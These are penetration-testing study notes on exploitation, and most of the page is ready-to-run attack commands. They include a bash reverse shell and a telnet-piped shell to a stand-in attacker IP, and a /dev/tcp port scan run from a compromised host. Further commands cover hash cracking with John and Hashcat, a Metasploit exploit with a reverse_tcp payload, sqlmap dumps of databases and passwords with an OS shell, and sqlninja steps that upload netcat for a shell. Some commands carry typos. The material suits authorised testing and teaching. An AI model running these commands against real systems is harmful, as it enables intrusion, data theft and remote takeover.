>> Practical Security Assessment (Penetration Testing) - Exploitation
The goal of exploitation is to expose data that can be leaked and show how the overall organization can be damaged if vulnerabilities are not mitigated. A possibility of planting a backdoor and using a machine in a botnet would be a good reason for the organization to listen to you.
If you see a port 139/TCP being open, do some samba recon and figure out what version is running.
-L
parameter connects to the following IP.
-N
parameter tells that we do not have the root password.
$ nmblookup -A IP_TARGET
$ smbclient -L IP_TARGET -N
$ smbclient -L //SHARE_NAME -I IP_TARGET
Interactive shell
$ /bin/sh -i
Navigate to https://www.exploit-db.com and search there, or you can type these commands in Kali:
$ searchsploit NAME
$ searchsploit samba
Set up NetCat on your box that will be listening on port 5757: $ nc -l -p 5757 -vv
Call a command on the target: $ /bin/bash -i > /dev/tcp/YOUR_ATTACKER_IP/5757 0<&1
2>&1
Assuming that you are on the machine you have compromised, you can do the following to perform a port scan of any IP you want:
$ port=1; while [ $port -lt 1024 ]; do echo > /dev/tcp/IP_ANOTHER_TARGET/$port; [ $? == 0 ] && echo $port "is open" >> /tmp/ports.txt; port=`expr $port + 1`; done
Similarly, you can do this:
$ for ((i=0; $i < 65535; i++)); do echo > /dev/tcp/IP/$i && echo $i open; done 2>/dev/null
More old school stuff for communicating with the box over telnet:
$ telnet attacker_IP PORT1 | /bin/bash | telnet attacker_IP PORT2
John The Ripper:
$ john --wordlist=rockyou.txt --rules=Jumbo hashes.txt
HashCat (probably the best one to-date) which you can learn about on their wiki:
Attack- | Hash- |
Mode | Type | Example command
==================+=======+==================================================================
Wordlist | SHA1 | hashcat -a 0 -m 100 exampleSha1.hash example.dict
Wordlist + Rules | MD5 | hashcat -a 0 -m 0 exampleMd5.hash example.dict -r rules/best64.rule
Brute-Force | MD5 | hashcat -a 3 -m 0 exampleMd5.hash ?a?a?a?a?a?a
Combinator | MD5 | hashcat -a 1 -m 0 exampleMd5.hash example.dict example.dict
First, let's set up the database:
$ service postgresql start
$ msfdb init
Now we can open metasploit, type: msfconsole
We can create our own workspace for future use: workspace -a PentestClass
Then, type workspace PentestClass
to use the workspace. It will allow us to store all the
details of the pentest in one space that can be used to refer to later on.
You can do nmap scan within Metasploit:
msf> db_nmap -sS -sV -sC IP_TARGET
You can type commands like hosts
and services
to see the results in a nice
format.
You can search for exploits inside of Metasploit: search samba
To use a certain exploit, type use
with the full path to the exploit after seraching for
it:
msf> use exploit/linux/service_name/exploit_name
Type info
to see the information about the exploit.
Type show options
to see what options you need to set for the exploit to be initiated.
RHOST
is the remote host, the IP of the TARGET.
Type set RHOST IP_TARGET
.
Now we also need to set a payload that will be sent across the wire from us to the TARGET. When the
TARGET is compromised by the exploit, it will use the payload to connect back to us -- a so-called
"reverse shell".
Type show payloads
to see all available payloads.
Type set payload linux/x86/shell/reverse_tcp
LHOST
is the IP of our Kali box, this is the IP where the TARGET will connect back when it
is compromised.
LPORT
the port of our Kali box to which the TARGET will try to connect.
Now we are rady to exploit, type exploit
Load balancing detection: lbd website.com
Detecting web application firewalls: wafw00f website.com
Use BeEF, Nikto, w3af, Vega, BurpSuite (free version is slow, paid is a few hundreds $$) or OWASP ZAP
Proxy to do the pentest for the website.
Sqlpmap is an automatic SQL injection and database takeover tool written in python.
sqlmap --wizard # will help to learn from scratch
sqlmap -u "http://...?id=5" -b # grab the banner
sqlmap -u "http://...?id=5" --current-user
sqlmap -u "http://...?id=5" --curent-db # current database
sqlmap -u "http://...?id=5" -dbs # all databases
sqlmap -u "http://...?id=5" -D DBname --tables # tables for DBname
sqlmap -u "http://...?id=5" -D DBname -T TableName --columns # columns for table TableName
sqlmap -u "http://...?id=5" -D DBname -T TableName --columns --dump # dump all the data
sqlmap -u "http://...?id=5" --users --passwords
sqlmap -u "http://...?id=5" --dbms=[database_type] # run against specific database type
sqlmap -u "http://..." --data="id=5" --os-shell # will give you a shell
Sqlninja is an SQL Server injection & takeover tool. Here are some of the parameters you can set:
host = target_ip
page = vulnerable_page
stringstart = id=2
lhost = our_attack_machine_ip
device = eth0
msfpath = path_to_metasploit
resolvedip = our_attack_machine_ip
Test fingerprint:
sqlninja -m t -f sqlninja.app.conf -d 1
Real fingerprint:
sqlninja -m f -f sqlninja.app.conf -d 1
Resurrect xp_cmdshell:
sqlninja -m x -f sqlninja.app.conf -d 1
Upload netcat:
sqlninja -m u -f sqlninja.app.conf -d 1
Get interactive shell:
sqlninja -m s -f sqlninja.app.conf -d 1
External XML Entity Injection (XXE) is a powerful method to exploit XML. Example is here.